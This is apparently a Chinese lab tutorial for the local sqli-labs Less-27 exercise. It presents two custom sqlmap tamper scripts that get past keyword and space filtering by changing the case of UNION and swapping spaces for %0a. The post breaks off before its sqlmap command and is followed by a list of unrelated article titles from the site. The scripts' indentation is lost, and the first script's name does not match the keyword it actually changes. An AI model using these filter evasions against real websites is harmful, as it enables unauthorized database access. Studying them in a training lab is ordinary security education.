目的:修改sqlmap中的tamper脚本来绕过代码对特定参数的过滤和转义

环境:win10、phpstudy2016、sqli-labs-master平台

工具:sqlmap、burpsuite

地址:http://127.0.0.1/sqli-labs-master/Less-27/?id=1

该页面过滤了select和空格,自定义脚本selec2SEleCT.py和space2%0a.py

selec2SEleCT.py脚本内容如下所示:

#!/usr/bin/env python  #定义解析器

from lib.core.enums import PRIORITY  #导包

__priority__ = PRIORITY.HIGHEST     #设置优先级

def dependencies():           #结构一致化
pass                  #占位符

def tamper(payload, **kwargs):      #定义tamper方法

return payload.replace("UNION", "UniON") if payload else payload  #使用UniON替换UNION

space2%0a.py脚本内容如下所示:

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0a"
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += "%0a"
continue

retVal += payload[i]

return retVal

用sqlmap直接跑,相关参数如下所示

最新文章

  1. Android 动态生成 EditTest
  2. RobotFramework——介绍篇
  3. php session详解
  4. json 對象的序列化
  5. HTML转换成word文档
  6. Android Branch and master source code merge(patch)
  7. 更具体的描述JNI
  8. JDK6、Oracle11g、Weblogic10 For Linux64Bit安装部署说明
  9. Django中的权限系统
  10. 十大常见Java String问题
  11. Django组件之用户认证组件
  12. TCP连接有效性检测方法
  13. C语言 · FBI树
  14. Linux命令——find/grep
  15. mongodb查看操作记录方法以及用户添加删除权限修改密码
  16. Java NIO FileChannel
  17. Android中实现定时器的3中方法
  18. form 表单提交浏览器的enctype(编码方式)
  19. "函中函" -------------------- func2(func) -------------- 函数名可以当做函数的参数
  20. UVALive 5971

热门文章

  1. sencha警告:[WARN][Anonymous] [Ext.Loader] Synchronously loading 'Ext.field.Text'
  2. 使用 Sentry集中处理错误
  3. 第九课,ROS仿真1
  4. Shiro——概述
  5. 黑盒测试实践-任务进度-Day02
  6. On the nightmare that is JSON Dates. Plus, JSON.NET and ASP.NET Web API
  7. Position Independent Code (PIC) in shared libraries on x64
  8. Java 线程不安全问题分析
  9. ElasticSearch 笔记(二)
  10. 函数形参为基类数组,实参为继承类数组,下存在的问题------c++程序设计原理与实践(进阶篇)